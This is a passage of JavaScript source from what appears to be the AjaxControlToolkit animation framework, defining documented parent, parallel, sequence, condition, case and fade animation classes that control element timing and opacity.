    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations to be played
    /// </param>
    /// <animation>Parent</animation>
    $AA.ParentAnimation.initializeBase(this, [target, duration, fps]);
    
    // Array of child animations (there are no assumptions placed on order because
    // it will matter for some derived animations like SequenceAnimation, but not
    // for others like ParallelAnimation) that is demand created in add
    this._animations = [];
    
    // Add any child animations passed into the constructor
    if (animations && animations.length) {
        for (var i = 0; i < animations.length; i++) {
            this.add(animations[i]);
        }
    }
}
$AA.ParentAnimation.prototype = {
    initialize : function() {
    	/// <summary>
        /// Initialize the parent along with any child animations that have not yet been initialized themselves
    	/// </summary>
    	/// <returns />
        $AA.ParentAnimation.callBaseMethod(this, 'initialize');
        
        // Initialize all the uninitialized child animations
        if (this._animations) {
            for (var i = 0; i < this._animations.length; i++) {
                var animation = this._animations[i];
                if (animation && !animation.get_isInitialized) {
                    animation.initialize();
                }
            }
        }
    },
    
    dispose : function() {
    	/// <summary>
        /// Dispose of the child animations
    	/// </summary>
    	/// <returns />

        this.clear();
        this._animations = null;
        $AA.ParentAnimation.callBaseMethod(this, 'dispose');
    },
    
    get_animations : function() {
    	/// <value elementType="AjaxControlToolkit.Animation.Animation">
        /// Array of child animations to be played (there are no assumptions placed on order because it will matter for some
        /// derived animations like <see cref="AjaxControlToolkit.Animation.SequenceAnimation" />, but not for
        /// others like <see cref="AjaxControlToolkit.Animation.ParallelAnimation" />).  To manipulate the child
        /// animations, use the functions <code>add</code>, <code>clear</code>, <code>remove</code>, and <code>removeAt</code>.
    	/// </value>
        return this._animations;
    },
    
    add : function(animation) {
    	/// <summary>
        /// Add an animation as a child of this animation.
    	/// </summary>
    	/// <param name="animation" type="AjaxControlToolkit.Animation.Animation">Child animation to add</param>
    	/// <returns />

        if (this._animations) {
            if (animation) {
                animation._parentAnimation = this;
            }
            Array.add(this._animations, animation);
            this.raisePropertyChanged('animations');
        }
    },
    
    remove : function(animation) {
        /// <summary>
        /// Remove the animation from the array of child animations.
        /// </summary>
        /// <param name="animation" type="AjaxControlToolkit.Animation.Animation">
        /// Child animation to remove
        /// </param>
        /// <returns />
        /// <remarks>
        /// This will dispose the removed animation.
        /// </remarks>

        if (this._animations) {
            if (animation) {
                animation.dispose();
            }
            Array.remove(this._animations, animation);
            this.raisePropertyChanged('animations');
        }
    },
    
    removeAt : function(index) {
        /// <summary>
        /// Remove the animation at a given index from the array of child animations.
        /// </summary>
        /// <param name="index" type="Number" integer="true">
        /// Index of the child animation to remove
        /// </param>
        /// <returns />
        
        if (this._animations) {
            var animation = this._animations[index];
            if (animation) {
                animation.dispose();
            }
            Array.removeAt(this._animations, index);
            this.raisePropertyChanged('animations');
        }
    },
    
    clear : function() {
    	/// <summary>
        /// Clear the array of child animations.
    	/// </summary>
    	/// <remarks>
    	/// This will dispose the cleared child animations.
    	/// </remarks>
    	/// <returns />

        if (this._animations) {
            for (var i = this._animations.length - 1; i >= 0; i--) {
                this._animations[i].dispose();
                this._animations[i] = null;
            }
            Array.clear(this._animations);
            this._animations = [];
            this.raisePropertyChanged('animations');
        }
    }
}
$AA.ParentAnimation.registerClass('AjaxControlToolkit.Animation.ParentAnimation', $AA.Animation);
$AA.registerAnimation('parent', $AA.ParentAnimation);


$AA.ParallelAnimation = function(target, duration, fps, animations) {
    /// <summary>
    /// The <code>ParallelAnimation</code> plays several animations simultaneously.  It inherits from
    /// <see cref="AjaxControlToolkit.Animation.ParentAnimation" />, but makes itself the owner of all
    /// its child animations to allow the use a single timer and syncrhonization mechanisms shared with
    /// all the children (in other words, the <code>duration</code> properties of any child animations
    /// are ignored in favor of the parent's <code>duration</code>).  It is very useful in creating
    /// sophisticated effects through combination of simpler animations.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations
    /// </param>
    /// <animation>Parallel</animation>
    $AA.ParallelAnimation.initializeBase(this, [target, duration, fps, animations]);
}
$AA.ParallelAnimation.prototype = {
    add : function(animation) {
    	/// <summary>
        /// Add an animation as a child of this animation and make ourselves its owner.
    	/// </summary>
    	/// <param name="animation" type="AjaxControlToolkit.Animation.Animation">Child animation to add</param>
    	/// <returns />
        $AA.ParallelAnimation.callBaseMethod(this, 'add', [animation]);
        animation.setOwner(this);
    },
    
    onStart : function() {
        /// <summary>
        /// Get the child animations ready to play
        /// </summary>
        /// <returns />

        $AA.ParallelAnimation.callBaseMethod(this, 'onStart');
        var animations = this.get_animations();
        for (var i = 0; i < animations.length; i++) {
            animations[i].onStart();
        }
    },
    
    onStep : function(percentage) {
        /// <summary>
        /// Progress the child animations through each frame
        /// </summary>
        /// <param name="percentage" type="Number">
        /// Percentage of the animation already complete
        /// </param>
        /// <returns />

        var animations = this.get_animations();
        for (var i = 0; i < animations.length; i++) {
            animations[i].onStep(percentage);
        }
    },
    
    onEnd : function() {
        /// <summary>
        /// Finish playing all of the child animations
        /// </summary>
        /// <returns />

        var animations = this.get_animations();
        for (var i = 0; i < animations.length; i++) {
            animations[i].onEnd();
        }
        $AA.ParallelAnimation.callBaseMethod(this, 'onEnd');
    }
}
$AA.ParallelAnimation.registerClass('AjaxControlToolkit.Animation.ParallelAnimation', $AA.ParentAnimation);
$AA.registerAnimation('parallel', $AA.ParallelAnimation);


$AA.SequenceAnimation = function(target, duration, fps, animations, iterations) {
    /// <summary>
    /// The <code>SequenceAnimation</code> runs several animations one after the other.  It can also
    /// repeat the sequence of animations for a specified number of iterations (which defaults to a
    /// single iteration, but will repeat forever if you specify zero or less iterations).  Also, the
    /// <code>SequenceAnimation</code> cannot be a child of a <see cref="AjaxControlToolkit.Animation.ParallelAnimation" />
    /// (or any animation inheriting from it).
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations
    /// </param>
    /// <param name="iterations" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of times to repeatedly play the sequence.  If zero or less iterations are specified, the sequence
    /// will repeat forever.  The default value is 1 iteration.
    /// </param>
    /// <remarks>
    /// The <code>SequenceAnimation</code> ignores the <code>duration</code> and <code>fps</code>
    /// properties, and will let each of its child animations use any settings they please.
    /// </remarks>
    /// <animation>Sequence</animation>
    $AA.SequenceAnimation.initializeBase(this, [target, duration, fps, animations]);

    // Handler used to determine when an animation has finished
    this._handler = null;
    
    // Flags to note whether we're playing, paused, or stopped
    this._paused = false;
    this._playing = false;
    
    // Index of the currently executing animation in the sequence
    this._index = 0;
    
    // Counter used when playing the animation to determine the remaining number of times to play the entire sequence
    this._remainingIterations = 0;
    
    // Number of iterations
    this._iterations = (iterations !== undefined) ? iterations : 1;
}
$AA.SequenceAnimation.prototype = {
    dispose : function() {
    	/// <summary>
        /// Dispose the animation
        /// </summary>
        /// <returns />
        this._handler = null;
        $AA.SequenceAnimation.callBaseMethod(this, 'dispose');
    },
    
    stop : function() {
        /// <summary>
        /// Stop playing the entire sequence of animations
        /// </summary>
        /// <returns />
        /// <remarks>
        /// Stopping this animation will perform the last step of each child animation, thereby leaving their
        /// target elements in a state consistent with the animation playing completely. If this animation is
        /// the child of another, you must call <code>stop</code> on its parent instead.
        /// </remarks>

        if (this._playing) {
            var animations = this.get_animations();
            if (this._index < animations.length) {
                // Remove the handler from the currently running animation
                animations[this._index].remove_ended(this._handler);
                // Call stop on all remaining animations to ensure their
                // effects will be seen
                for (var i = this._index; i < animations.length; i++) {
                    animations[i].stop();
                }
            }
            this._playing = false;
            this._paused = false;
            this.raisePropertyChanged('isPlaying');
            this.onEnd();
        }
    },
    
    pause : function() {
        /// <summary>
        /// Pause the animation if it is playing.  Calling <code>play</code> will resume where
        /// the animation left off.
        /// </summary>
        /// <returns />
        /// <remarks>
        /// If this animation is the child of another, you must call <code>pause</code> on its parent instead.
        /// </remarks>

        if (this.get_isPlaying()) {
            var current = this.get_animations()[this._index];
            if (current != null) {
                current.pause();
            }
            this._paused = true;
            this.raisePropertyChanged('isPlaying');
        }
    },
    
    play : function() {
        /// <summary>
        /// Play the sequence of animations from the beginning or where it was left off when paused
        /// </summary>
        /// <returns />
        /// <remarks>
        /// If this animation is the child of another, you must call <code>play</code> on its parent instead
        /// </remarks>

        var animations = this.get_animations();
        if (!this._playing) {
            this._playing = true;
            if (this._paused) {
                this._paused = false;
                var current = animations[this._index];
                if (current != null) {
                    current.play();
                    this.raisePropertyChanged('isPlaying');
                }
            } else {
                this.onStart();
                // Reset the index and attach the handler to the first
                this._index = 0;
                var first = animations[this._index];
                if (first) {
                    first.add_ended(this._handler);
                    first.play();
                    this.raisePropertyChanged('isPlaying');
                } else {
                    this.stop();
                }
            }
        }
    },
    
    onStart : function() {
        /// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time
        /// </summary>
        /// <returns />
        $AA.SequenceAnimation.callBaseMethod(this, 'onStart');
        this._remainingIterations = this._iterations - 1;
        
        // Create the handler we attach to each animation as it plays to determine when we've finished with it
        if (!this._handler) {
            this._handler = Function.createDelegate(this, this._onEndAnimation);
        }
    },
    
    _onEndAnimation : function() {
    	/// <summary>
        /// Wait for the end of each animation, and then continue by playing the other animations remaining
        /// in the sequence.  Stop when it reaches the last animation and there are no remaining iterations.
    	/// </summary>
    	/// <returns />

        // Remove the handler from the current animation
        var animations = this.get_animations();
        var current = animations[this._index++];
        if (current) {
            current.remove_ended(this._handler);
        }
        
        // Keep running animations and stop when we're out
        if (this._index < animations.length) {
            var next = animations[this._index];
            next.add_ended(this._handler);
            next.play();
        } else if (this._remainingIterations >= 1 || this._iterations <= 0) {
            this._remainingIterations--;
            this._index = 0;
            var first = animations[0];
            first.add_ended(this._handler);
            first.play();
        } else {
            this.stop();
        }
    },
    
    onStep : function(percentage) {
        /// <summary>
        /// Raises an invalid operation exception because this will only be called if a <code>SequenceAnimation</code>
        /// has been nested inside an <see cref="AjaxControlToolkit.Animation.ParallelAnimation" /> (or a derived type).
        /// </summary>
        /// <param name="percentage" type="Number">Percentage of the animation already complete</param>
        /// <returns />
        throw Error.invalidOperation(AjaxControlToolkit.Resources.Animation_CannotNestSequence);
    },
    
    onEnd : function() {
        /// <summary>
        /// The <code>onEnd</code> method is called just after the animation is played each time.
        /// </summary>
        /// <returns />
        this._remainingIterations = 0;
        $AA.SequenceAnimation.callBaseMethod(this, 'onEnd');
    },
    
    get_isActive : function() {
    	/// <value type="Boolean">
        /// <code>true</code> if animation is active, <code>false</code> if not.
        /// </value>
        return true;
    },
    
    get_isPlaying : function() {
    	/// <value type="Boolean">
        /// <code>true</code> if animation is playing, <code>false</code> if not.
        /// </value>
        return this._playing && !this._paused;
    },
    
    get_iterations : function() {
        /// <value type="Number" integer="true">
        /// Number of times to repeatedly play the sequence.  If zero or less iterations are specified, the sequence
        /// will repeat forever.  The default value is 1 iteration.
        /// </value>
        return this._iterations;
    },
    set_iterations : function(value) {
        value = this._getInteger(value);
        if (this._iterations != value) {
            this._iterations = value;
            this.raisePropertyChanged('iterations');
        }
    },
    
    get_isInfinite : function() {
    	/// <value type="Boolean">
        /// <code>true</code> if this animation will repeat forever, <code>false</code> otherwise.
    	/// </value>
        return this._iterations <= 0;
    }
}
$AA.SequenceAnimation.registerClass('AjaxControlToolkit.Animation.SequenceAnimation', $AA.ParentAnimation);
$AA.registerAnimation('sequence', $AA.SequenceAnimation);


$AA.SelectionAnimation = function(target, duration, fps, animations) {
    /// <summary>
    /// The <code>SelectionAnimation</code> will run a single animation chosen from of its child animations. It is
    /// important to note that the <code>SelectionAnimation</code> ignores the <code>duration</code> and <code>fps</code>
    /// properties, and will let each of its child animations use any settings they please.  This is a base class with no
    /// functional implementation, so consider using <see cref="AjaxControlToolkit.Animation.ConditionAnimation" /> or
    /// <see cref="AjaxControlToolkit.Animation.CaseAnimation" /> instead.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations
    /// </param>
    /// <animation>Selection</animation>
    $AA.SelectionAnimation.initializeBase(this, [target, duration, fps, animations]);
    
    // Index of the animation selected to play
    this._selectedIndex = -1;
    
    // Reference to the animation selected to play
    this._selected = null;
}
$AA.SelectionAnimation.prototype = {    
    getSelectedIndex : function() {
        /// <summary>
        /// Get the index of the animation that is selected to be played.  If this returns an index outside the bounds of
        /// the child animations array, then nothing is played.
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Index of the selected child animation to play
        /// </returns>
        throw Error.notImplemented();
    },
    
    onStart : function() {
    	/// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />
	    $AA.SelectionAnimation.callBaseMethod(this, 'onStart');
	    
	    var animations = this.get_animations();
	    this._selectedIndex = this.getSelectedIndex();
	    if (this._selectedIndex >= 0 && this._selectedIndex < animations.length) {
	        this._selected = animations[this._selectedIndex];
	        if (this._selected) {
	            this._selected.setOwner(this);
	            this._selected.onStart();
	        }
	    }
    },
    
    onStep : function(percentage) {
    	/// <summary>
        /// The <code>onStep</code> method is called repeatedly to progress the animation through each frame
        /// </summary>
        /// <param name="percentage" type="Number">Percentage of the animation already complete</param>
        /// <returns />

        if (this._selected) {
    	    this._selected.onStep(percentage);
    	}
    },
    
    onEnd : function() {
    	/// <summary>
        /// The <code>onEnd</code> method is called just after the animation is played each time.
        /// </summary>
        /// <returns />

        if (this._selected) {
    	    this._selected.onEnd();
    	    this._selected.setOwner(null);
    	}
    	this._selected = null;
    	this._selectedIndex = null;
	    $AA.SelectionAnimation.callBaseMethod(this, 'onEnd');
    }
}
$AA.SelectionAnimation.registerClass('AjaxControlToolkit.Animation.SelectionAnimation', $AA.ParentAnimation);
$AA.registerAnimation('selection', $AA.SelectionAnimation);


$AA.ConditionAnimation = function(target, duration, fps, animations, conditionScript) {
    /// <summary>
    /// The <code>ConditionAnimation</code> is used as a control structure to play a specific child animation
    /// depending on the result of executing the <code>conditionScript</code>.  If the <code>conditionScript</code>
    /// evaluates to <code>true</code>, the first child animation is played.  If it evaluates to <code>false</code>,
    /// the second child animation is played (although nothing is played if a second animation is not present).
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations
    /// </param>
    /// <param name="conditionScript" type="String" mayBeNull="true" optional="true">
    /// JavaScript that should evaluate to <code>true</code> or <code>false</code> to determine which child
    /// animation to play.
    /// </param>
    /// <animation>Condition</animation>
    $AA.ConditionAnimation.initializeBase(this, [target, duration, fps, animations]);
    
    // Condition to determine which index we will play
    this._conditionScript = conditionScript;   
}
$AA.ConditionAnimation.prototype = {    
   getSelectedIndex : function() {
       /// <summary>
       /// Get the index of the animation that is selected to be played.  If this returns an index outside the bounds of
       /// the child animations array, then nothing is played.
       /// </summary>
       /// <returns type="Number" integer="true">
       /// Index of the selected child animation to play
       /// </returns>

        var selected = -1;
        if (this._conditionScript && this._conditionScript.length > 0) {
            try {
                selected = eval(this._conditionScript) ? 0 : 1;
            } catch(ex) {
            }
        }
        return selected;
    },
    
    get_conditionScript : function() {
    	/// <value type="String">
        /// JavaScript that should evaluate to <code>true</code> or <code>false</code> to determine which
        /// child animation to play.
    	/// </value>
        return this._conditionScript;
    },
    set_conditionScript : function(value) {
        if (this._conditionScript != value) {
            this._conditionScript = value;
            this.raisePropertyChanged('conditionScript');
        }
    }
}
$AA.ConditionAnimation.registerClass('AjaxControlToolkit.Animation.ConditionAnimation', $AA.SelectionAnimation);
$AA.registerAnimation('condition', $AA.ConditionAnimation);


$AA.CaseAnimation = function(target, duration, fps, animations, selectScript) {
    /// <summary>
    /// The <code>CaseAnimation</code> is used as a control structure to play a specific child animation depending on
    /// the result of executing the <code>selectScript</code>, which should return the index of the child animation to
    /// play (this is similar to the <code>case</code> or <code>select</code> statements in C#/VB, etc.).  If the provided
    /// index is outside the bounds of the child animations array (or if nothing was returned) then we will not play anything.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="animations" mayBeNull="true" optional="true" parameterArray="true" elementType="AjaxControlToolkit.Animation.Animation">
    /// Array of child animations
    /// </param>
    /// <param name="selectScript" type="String" mayBeNull="true" optional="true">
    /// JavaScript that should evaluate to the index of the appropriate child animation to play.  If this returns an index outside the bounds of the child animations array, then nothing is played.
    /// </param>
    /// <animation>Case</animation>
    $AA.CaseAnimation.initializeBase(this, [target, duration, fps, animations]);

    // Condition to determine which index we will play
    this._selectScript = selectScript;
}
$AA.CaseAnimation.prototype = {
    getSelectedIndex : function() {
        /// <summary>
        /// Get the index of the animation that is selected to be played.  If this returns an index outside the bounds of
        /// the child animations array, then nothing is played.
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Index of the selected child animation to play
        /// </returns>

        var selected = -1;
        if (this._selectScript && this._selectScript.length > 0) {
            try {
                var result = eval(this._selectScript)
                if (result !== undefined)
                    selected = result;
            } catch (ex) {
            }
        }
        return selected;
    },
    
    get_selectScript : function() {
        /// <value type="String">
        /// JavaScript that should evaluate to the index of the appropriate child animation to play.  If this returns an index outside the bounds of the child animations array, then nothing is played.
        /// </value>
        return this._selectScript;
    },
    set_selectScript : function(value) {
        if (this._selectScript != value) {
            this._selectScript = value;
            this.raisePropertyChanged('selectScript');
        }
    }
}
$AA.CaseAnimation.registerClass('AjaxControlToolkit.Animation.CaseAnimation', $AA.SelectionAnimation);
$AA.registerAnimation('case', $AA.CaseAnimation);


$AA.FadeEffect = function() {
    /// <summary>
    /// The FadeEffect enumeration determines whether a fade animation is used to fade in or fade out.
    /// </summary>
    /// <field name="FadeIn" type="Number" integer="true" />
    /// <field name="FadeOut" type="Number" integer="true" />
    throw Error.invalidOperation();
}
$AA.FadeEffect.prototype = {
    FadeIn : 0,
    FadeOut : 1
}
$AA.FadeEffect.registerEnum("AjaxControlToolkit.Animation.FadeEffect", false);


$AA.FadeAnimation = function(target, duration, fps, effect, minimumOpacity, maximumOpacity, forceLayoutInIE) {
    /// <summary>
    /// The <code>FadeAnimation</code> is used to fade an element in or out of view, depending on the
    /// provided <see cref="AjaxControlToolkit.Animation.FadeEffect" />, by settings its opacity.
    /// The minimum and maximum opacity values can be specified to precisely control the fade.
    /// You may also consider using <see cref="AjaxControlToolkit.Animation.FadeInAnimation" /> or
    /// <see cref="AjaxControlToolkit.Animation.FadeOutAnimation" /> if you know the only direction you
    /// are fading.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="effect" type="AjaxControlToolkit.Animation.FadeEffect" mayBeNull="true" optional="true">
    /// Determine whether to fade the element in or fade the element out.  The possible values are <code>FadeIn</code>
    /// and <code>FadeOut</code>.  The default value is <code>FadeOut</code>.
    /// </param>
    /// <param name="minimumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 0.
    /// </param>
    /// <param name="maximumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 1.
    /// </param>
    /// <param name="forceLayoutInIE" type="Boolean" mayBeNull="true" optional="true">
    /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
    /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
    /// This is obviously ignored when working in other browsers.
    /// </param>
    /// <animation>Fade</animation>
    $AA.FadeAnimation.initializeBase(this, [target, duration, fps]);

    // The effect determines whether or not we fade in or out
    this._effect = (effect !== undefined) ? effect : $AA.FadeEffect.FadeIn;
    
    // Maximum and minimum opacities default to 100% and 0%
    this._max = (maximumOpacity !== undefined) ? maximumOpacity : 1;
    this._min = (minimumOpacity !== undefined) ? minimumOpacity : 0;
    
    // Starting and ending opacities
    this._start = this._min;
    this._end = this._max;
    
    // Whether the a layout has already been created (to work around IE
    // problems).
    this._layoutCreated = false;

    // Whether or not we should force a layout to be created for IE by giving it a width
    // and setting its background color (the latter is required in case the user has ClearType enabled).
    // http://msdn.microsoft.com/library/default.asp?url=/workshop/author/filter/reference/filters/alpha.asp
    this._forceLayoutInIE = (forceLayoutInIE === undefined || forceLayoutInIE === null) ? true : forceLayoutInIE;
    
    // Current target of the animation that is cached before the animation plays (since looking up
    // the target could mean walking all the way up to the root of the animation's tree, which we don't
    // want to do for every step of the animation)
    this._currentTarget = null;

    // Properly set up the min/max values provided by the constructor
    this._resetOpacities();  
}
$AA.FadeAnimation.prototype = {
    _resetOpacities : function() {
    	/// <summary>
        /// Set the starting and ending opacity values based on the effect (i.e. when we're fading
        /// in we go from <code>_min</code> to <code>_max</code>, but we go <code>_max</code> to
        /// <code>_min</code> when fading out)
    	/// </summary>
    	/// <returns />

        if (this._effect == $AA.FadeEffect.FadeIn) {
            this._start = this._min;
            this._end = this._max;
        } else {
            this._start = this._max;
            this._end = this._min;
        }
    },
    
    _createLayout : function() {
    	/// <summary>
        /// Create a layout when using Internet Explorer (which entails setting a width and also
        /// a background color if it currently has neither)
    	/// </summary>
    	/// <returns />

        var element = this._currentTarget;
        if (element) {
            // Get the original width/height/back color
            this._originalWidth = $common.getCurrentStyle(element, 'width');
            var originalHeight = $common.getCurrentStyle(element, 'height');
            this._originalBackColor = $common.getCurrentStyle(element, 'backgroundColor');

            // Set the width which will force the creation of a layout
            if ((!this._originalWidth || this._originalWidth == '' || this._originalWidth == 'auto') &&
                (!originalHeight || originalHeight == '' || originalHeight == 'auto')) {
                element.style.width = element.offsetWidth + 'px';
            }
            
            // Set the back color to avoid ClearType problems
            if (!this._originalBackColor || this._originalBackColor == '' || this._originalBackColor == 'transparent' || this._originalBackColor == 'rgba(0, 0, 0, 0)') {
                element.style.backgroundColor = $common.getInheritedBackgroundColor(element);
            }
            
            // Mark that we've created the layout so we only do it once
            this._layoutCreated = true;
        }
    },
    
    onStart : function() {
    	/// <summary>
        /// The <code>onStart</code> method is called just before the animation is played each time.
        /// </summary>
        /// <returns />       
        $AA.FadeAnimation.callBaseMethod(this, 'onStart');
        
        this._currentTarget = this.get_target();
        this.setValue(this._start);
        
        // Force the creation of a layout in IE if we're supposed to and the current browser is Internet Explorer
        if (this._forceLayoutInIE && !this._layoutCreated && Sys.Browser.agent == Sys.Browser.InternetExplorer) {
            this._createLayout();
        }
    },
    
    getAnimatedValue : function(percentage) {
    	/// <summary>
        /// Determine the current opacity after the given percentage of its duration has elapsed
        /// </summary>
        /// <param name="percentage" type="Number">Percentage of the animation already complete</param>
        /// <returns type="Number">
        /// Current opacity after the given percentage of its duration has elapsed that will
        /// be passed to <code>setValue</code>
        /// </returns>
        return this.interpolate(this._start, this._end, percentage);
    },
    
    setValue : function(value) {
        /// <summary>
        /// Set the current opacity of the element.
        /// </summary>
        /// <param name="value" type="Number">
        /// Current opacity (as retreived from <code>getAnimatedValue</code>)
        /// </param>
        /// <returns />
        /// <remarks>
        /// This method will be replaced by a dynamically generated function that requires no logic
        /// to determine whether it should use filters or the style's opacity.
        /// </remarks>
        if (this._currentTarget) {
            $common.setElementOpacity(this._currentTarget, value);
        }
    },
    
//    set_target : function(value) {
//        /// <value type="Sys.UI.DomElement">
//        /// Override the <code>target</code> property to dynamically create the setValue function.
//        /// </value>
//        /// <remarks>
//        /// Do not set this property in a generic Xml animation description. It will be set automatically
//        /// using either the extender's TargetControlID or the AnimationTarget property.
//        /// <remarks>
//        $AA.FadeAnimation.callBaseMethod(this, 'set_target', [value]);
//        
//        var element = value;
//        if (element) {
//            var filters = element.filters;
//            if (filters) {
//                var alphaFilter = null;
//                if (filters.length !== 0) {
//                    alphaFilter = filters['DXImageTransform.Microsoft.Alpha'];
//                }
//                if (!alphaFilter) {
//                    element.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=' + (this._start * 100) + ')';
//                    alphaFilter = filters['DXImageTransform.Microsoft.Alpha'];
//                }
//                if (alphaFilter) {
//                    this.setValue = function(val) { alphaFilter.opacity = val * 100; }
//                } else {
//                    this.setValue = function(val) {
//                        element.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=' + (val * 100) + ')';
//                    };
//                }
//            }
//            else {
//                this.setValue = function(val) { element.style.opacity = val; };
//            }
//        }
//    },
    
    get_effect : function() {
    	/// <value type="AjaxControlToolkit.Animation.FadeEffect">
        /// Determine whether to fade the element in or fade the element out.  The possible values are
        /// <code>FadeIn</code> and <code>FadeOut</code>.  The default value is <code>FadeOut</code>.
    	/// </value>
        return this._effect;
    },
    set_effect : function(value) {
        value = this._getEnum(value, $AA.FadeEffect);
        if (this._effect != value) {
            this._effect = value;
            this._resetOpacities();
            this.raisePropertyChanged('effect');
        }
    },
    
    get_minimumOpacity : function() {
        /// <value type="Number">
        /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1.
        /// The default value is 0.
        /// </value>
	    return this._min;
    },
    set_minimumOpacity : function(value) {
        value = this._getFloat(value);
        if (this._min != value) {
            this._min = value;
            this._resetOpacities();
            this.raisePropertyChanged('minimumOpacity');
        }
    },
    
    get_maximumOpacity : function() {
        /// <value type="Number">
        /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1.
        /// The default value is 1.
        /// </value>
        return this._max;
    },
    set_maximumOpacity : function(value) {
        value = this._getFloat(value);
        if (this._max != value) {
            this._max = value;
            this._resetOpacities();
            this.raisePropertyChanged('maximumOpacity');
        }
    },
    
    get_forceLayoutInIE : function() {
        /// <value type="Boolean">
        /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
        /// background color (the latter is required in case the user has ClearType enabled). The default value is <code>true</code>.
        /// This is obviously ignored when working in other browsers.
        /// </value>
        return this._forceLayoutInIE;
    },
    set_forceLayoutInIE : function(value) {
        value = this._getBoolean(value);
        if (this._forceLayoutInIE != value) {
            this._forceLayoutInIE = value;
            this.raisePropertyChanged('forceLayoutInIE');
        }
    },
    
    set_startValue : function(value) {
        /// <value type="Number">
        /// Set the start value (so that child animations can set the current opacity as the start value when fading in or out)
        /// </value>
        value = this._getFloat(value);
        this._start = value;
    }
}
$AA.FadeAnimation.registerClass('AjaxControlToolkit.Animation.FadeAnimation', $AA.Animation);
$AA.registerAnimation('fade', $AA.FadeAnimation);


$AA.FadeInAnimation = function(target, duration, fps, minimumOpacity, maximumOpacity, forceLayoutInIE) {
    /// <summary>
    /// The <code>FadeInAnimation</code> will fade the target in by moving from hidden to visible.
    /// It starts the animation the target's current opacity.
    /// </summary>
    /// <param name="target" type="Sys.UI.DomElement" mayBeNull="true" optional="true" domElement="true">
    /// Target of the animation
    /// </param>
    /// <param name="duration" type="Number" mayBeNull="true" optional="true">
    /// Length of the animation in seconds.  The default is 1.
    /// </param>
    /// <param name="fps" type="Number" mayBeNull="true" optional="true" integer="true">
    /// Number of steps per second.  The default is 25.
    /// </param>
    /// <param name="minimumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Minimum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 0.
    /// </param>
    /// <param name="maximumOpacity" type="Number" mayBeNull="true" optional="true">
    /// Maximum opacity to use when fading in or out. Its value can range from between 0 to 1. The default value is 1.
    /// </param>
    /// <param name="forceLayoutInIE" type="Boolean" mayBeNull="true" optional="true">
    /// Whether or not we should force a layout to be created for Internet Explorer by giving it a width and setting its
